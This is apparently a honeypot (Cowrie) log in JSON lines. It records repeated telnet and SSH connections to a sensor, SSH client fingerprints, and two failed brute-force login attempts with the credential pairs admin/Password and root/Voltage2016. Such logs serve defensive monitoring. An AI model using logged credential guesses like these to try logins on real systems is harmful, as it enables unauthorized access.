{"eventid":"cowrie.session.closed","duration":35.33108592033386,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:10.707569Z","src_ip":"162.55.233.176","session":"c5161577b756","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35270,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc893debf2c8","protocol":"telnet","message":"New connection: 162.55.233.176:35270 (159.203.135.109:23) [session: dc893debf2c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:10.815872Z"}
{"eventid":"cowrie.session.closed","duration":31.81344962120056,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:10.850293Z","src_ip":"162.55.233.176","session":"d96934ff8c9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":37628,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea64f8c3b823","protocol":"ssh","message":"New connection: 193.24.211.95:37628 (159.203.135.109:22) [session: ea64f8c3b823]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:11.363498Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:11.376228Z","src_ip":"193.24.211.95","session":"ea64f8c3b823","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:11.472885Z","src_ip":"193.24.211.95","session":"ea64f8c3b823","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35278,"dst_ip":"159.203.135.109","dst_port":23,"session":"87b865df35fb","protocol":"telnet","message":"New connection: 162.55.233.176:35278 (159.203.135.109:23) [session: 87b865df35fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:11.563975Z"}
{"eventid":"cowrie.session.closed","duration":31.793409824371338,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:11.861619Z","src_ip":"162.55.233.176","session":"a6da7eb03f05","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Password","message":"login attempt [admin/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:11.893907Z","src_ip":"193.24.211.95","session":"ea64f8c3b823","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.04419469833374,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:11.898741Z","src_ip":"162.55.233.176","session":"a8e457b4285a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35288,"dst_ip":"159.203.135.109","dst_port":23,"session":"6a62f336946e","protocol":"telnet","message":"New connection: 162.55.233.176:35288 (159.203.135.109:23) [session: 6a62f336946e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:11.957088Z"}
{"eventid":"cowrie.session.closed","duration":34.35546803474426,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:11.972476Z","src_ip":"162.55.233.176","session":"554d4ed86a4c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":35292,"dst_ip":"159.203.135.109","dst_port":23,"session":"55da92961139","protocol":"telnet","message":"New connection: 162.55.233.176:35292 (159.203.135.109:23) [session: 55da92961139]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:12.041370Z"}
{"eventid":"cowrie.session.closed","duration":44.274898290634155,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:12.520043Z","src_ip":"206.189.32.23","session":"8381a5ebad6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.11207628250122,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:12.576598Z","src_ip":"162.55.233.176","session":"e0844bd30658","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.874478816986084,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:12.746720Z","src_ip":"162.55.233.176","session":"bfd7c33fe31d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.561089515686035,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:12.932477Z","src_ip":"162.55.233.176","session":"994984087bc1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.6766722202301,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:12.951246Z","src_ip":"162.55.233.176","session":"8ea68452e78c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:13.004185Z","src_ip":"193.24.211.95","session":"ea64f8c3b823","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Voltage2016","message":"login attempt [root/Voltage2016] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:13.058386Z","src_ip":"213.209.159.158","session":"dc142e2f3a1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44838,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2110a08b100","protocol":"telnet","message":"New connection: 162.55.233.176:44838 (159.203.135.109:23) [session: d2110a08b100]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:13.389965Z"}
{"eventid":"cowrie.session.closed","duration":31.19600772857666,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:13.419484Z","src_ip":"162.55.233.176","session":"30104da458db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44852,"dst_ip":"159.203.135.109","dst_port":23,"session":"68a1baa3ef61","protocol":"telnet","message":"New connection: 162.55.233.176:44852 (159.203.135.109:23) [session: 68a1baa3ef61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:13.758131Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44866,"dst_ip":"159.203.135.109","dst_port":23,"session":"65ef7d00c23a","protocol":"telnet","message":"New connection: 162.55.233.176:44866 (159.203.135.109:23) [session: 65ef7d00c23a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:13.937528Z"}
{"eventid":"cowrie.session.closed","duration":32.37396025657654,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:14.584869Z","src_ip":"162.55.233.176","session":"1bb8e3c19dfe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44880,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ed4f450e9e0","protocol":"telnet","message":"New connection: 162.55.233.176:44880 (159.203.135.109:23) [session: 4ed4f450e9e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:14.651936Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44892,"dst_ip":"159.203.135.109","dst_port":23,"session":"89f20f33c880","protocol":"telnet","message":"New connection: 162.55.233.176:44892 (159.203.135.109:23) [session: 89f20f33c880]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:14.993380Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44898,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b51aed32cfd","protocol":"telnet","message":"New connection: 162.55.233.176:44898 (159.203.135.109:23) [session: 6b51aed32cfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:15.220958Z"}
{"eventid":"cowrie.session.closed","duration":31.0161395072937,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:15.416018Z","src_ip":"162.55.233.176","session":"fdeb31520050","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44914,"dst_ip":"159.203.135.109","dst_port":23,"session":"a59178e49f74","protocol":"telnet","message":"New connection: 162.55.233.176:44914 (159.203.135.109:23) [session: a59178e49f74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:15.545454Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44926,"dst_ip":"159.203.135.109","dst_port":23,"session":"ced114bf0fa0","protocol":"telnet","message":"New connection: 162.55.233.176:44926 (159.203.135.109:23) [session: ced114bf0fa0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:15.611471Z"}
{"eventid":"cowrie.session.closed","duration":"10.5","message":"Connection lost after 10.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:15.621384Z","src_ip":"213.209.159.158","session":"dc142e2f3a1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44942,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec8451fc0c78","protocol":"telnet","message":"New connection: 162.55.233.176:44942 (159.203.135.109:23) [session: ec8451fc0c78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:15.673457Z"}
{"eventid":"cowrie.session.closed","duration":37.50823616981506,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:15.710794Z","src_ip":"162.55.233.176","session":"c91ba4e720f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":57754,"dst_ip":"10.17.0.5","dst_port":22,"session":"a0f940f76642","protocol":"ssh","message":"New connection: 213.209.159.158:57754 (10.17.0.5:22) [session: a0f940f76642]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:15.723244Z"}
{"eventid":"cowrie.session.closed","duration":31.32519555091858,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:15.874629Z","src_ip":"162.55.233.176","session":"10158c9b5c6b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.60591173171997,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:15.880088Z","src_ip":"206.189.32.23","session":"e10f9e73a1a6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44956,"dst_ip":"159.203.135.109","dst_port":23,"session":"8a5bffd79286","protocol":"telnet","message":"New connection: 162.55.233.176:44956 (159.203.135.109:23) [session: 8a5bffd79286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:15.984110Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44960,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa6218d6b7a2","protocol":"telnet","message":"New connection: 162.55.233.176:44960 (159.203.135.109:23) [session: fa6218d6b7a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:16.085310Z"}
{"eventid":"cowrie.session.closed","duration":30.597879886627197,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:16.240431Z","src_ip":"162.55.233.176","session":"5583c77a4f8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44966,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b266c6501a0","protocol":"telnet","message":"New connection: 162.55.233.176:44966 (159.203.135.109:23) [session: 1b266c6501a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:16.355302Z"}
{"eventid":"cowrie.session.closed","duration":35.539297103881836,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:16.408927Z","src_ip":"162.55.233.176","session":"2ec06e48fc4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.77835202217102,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:16.886506Z","src_ip":"162.55.233.176","session":"e475eefd3ab3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44974,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f481c980a78","protocol":"telnet","message":"New connection: 162.55.233.176:44974 (159.203.135.109:23) [session: 9f481c980a78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:16.955168Z"}
{"eventid":"cowrie.session.closed","duration":32.821375370025635,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:16.974374Z","src_ip":"162.55.233.176","session":"ad0b30d9351c","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:17.042931Z","src_ip":"213.209.159.158","session":"a0f940f76642","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:17.046875Z","src_ip":"213.209.159.158","session":"a0f940f76642","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44986,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7c66eafac0e","protocol":"telnet","message":"New connection: 162.55.233.176:44986 (159.203.135.109:23) [session: f7c66eafac0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:17.068479Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44992,"dst_ip":"159.203.135.109","dst_port":23,"session":"78a3b541f591","protocol":"telnet","message":"New connection: 162.55.233.176:44992 (159.203.135.109:23) [session: 78a3b541f591]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:17.344759Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44998,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3c332f663ad","protocol":"telnet","message":"New connection: 162.55.233.176:44998 (159.203.135.109:23) [session: d3c332f663ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:17.480900Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45008,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9aba9dff528","protocol":"telnet","message":"New connection: 162.55.233.176:45008 (159.203.135.109:23) [session: d9aba9dff528]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:17.485885Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45016,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d314fc73033","protocol":"telnet","message":"New connection: 162.55.233.176:45016 (159.203.135.109:23) [session: 7d314fc73033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:17.634011Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45024,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1d8c1df3dfd","protocol":"telnet","message":"New connection: 162.55.233.176:45024 (159.203.135.109:23) [session: c1d8c1df3dfd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:17.822748Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45040,"dst_ip":"159.203.135.109","dst_port":23,"session":"8c19b4901398","protocol":"telnet","message":"New connection: 162.55.233.176:45040 (159.203.135.109:23) [session: 8c19b4901398]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:18.108385Z"}
{"eventid":"cowrie.session.closed","duration":31.429792404174805,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:18.502489Z","src_ip":"162.55.233.176","session":"2f8354a19c52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.34870719909668,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:18.535741Z","src_ip":"162.55.233.176","session":"5b6cd24b9d4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.46661162376404,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:18.773418Z","src_ip":"162.55.233.176","session":"053a3c0d69f5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45052,"dst_ip":"159.203.135.109","dst_port":23,"session":"00437f58e859","protocol":"telnet","message":"New connection: 162.55.233.176:45052 (159.203.135.109:23) [session: 00437f58e859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:18.778871Z"}
{"eventid":"cowrie.session.closed","duration":35.350566387176514,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:18.917223Z","src_ip":"162.55.233.176","session":"bccb922b32da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45068,"dst_ip":"159.203.135.109","dst_port":23,"session":"78e510b317af","protocol":"telnet","message":"New connection: 162.55.233.176:45068 (159.203.135.109:23) [session: 78e510b317af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:18.963911Z"}
{"eventid":"cowrie.session.closed","duration":33.980865240097046,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:19.098177Z","src_ip":"162.55.233.176","session":"bbe20d5b79f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45084,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb29912bc176","protocol":"telnet","message":"New connection: 162.55.233.176:45084 (159.203.135.109:23) [session: cb29912bc176]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:19.184916Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45098,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b8ba8755de4","protocol":"telnet","message":"New connection: 162.55.233.176:45098 (159.203.135.109:23) [session: 1b8ba8755de4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:19.208623Z"}
{"eventid":"cowrie.session.closed","duration":36.15160298347473,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:19.261976Z","src_ip":"162.55.233.176","session":"debaa82a1a81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.767642974853516,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:19.309536Z","src_ip":"162.55.233.176","session":"f220443f2a76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45114,"dst_ip":"159.203.135.109","dst_port":23,"session":"df99d2e09646","protocol":"telnet","message":"New connection: 162.55.233.176:45114 (159.203.135.109:23) [session: df99d2e09646]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:19.363988Z"}
{"eventid":"cowrie.session.closed","duration":120.0009126663208,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:19.637809Z","src_ip":"138.255.230.135","session":"cf7d8a0c44ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45124,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa172281ccae","protocol":"telnet","message":"New connection: 162.55.233.176:45124 (159.203.135.109:23) [session: aa172281ccae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:19.693329Z"}
{"eventid":"cowrie.session.closed","duration":37.23036599159241,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:19.889468Z","src_ip":"162.55.233.176","session":"ac6b1ef6d610","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.819377183914185,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:20.120186Z","src_ip":"188.208.141.113","session":"3feaa2ab614c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":45140,"dst_ip":"159.203.135.109","dst_port":23,"session":"145bbd6e7134","protocol":"telnet","message":"New connection: 162.55.233.176:45140 (159.203.135.109:23) [session: 145bbd6e7134]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:58:20.249817Z"}
